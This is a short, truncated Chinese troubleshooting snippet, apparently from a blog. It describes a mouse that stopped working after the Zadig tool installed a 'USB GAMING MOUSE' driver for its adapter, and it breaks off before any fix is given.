【通过Zadig给鼠标适配器安装驱动后,鼠标动不了,无法恢复的解决办法 问题产生缘由感谢这位大佬提供的解决办法解决办法 问题产生缘由 通过Zadig给鼠标适配器安装USB GAMING MOUSE这个驱动后,鼠标动不了,无法恢复(重启电脑,卸载鼠标驱动再重装也不可以), 不过还好,我用的是笔记…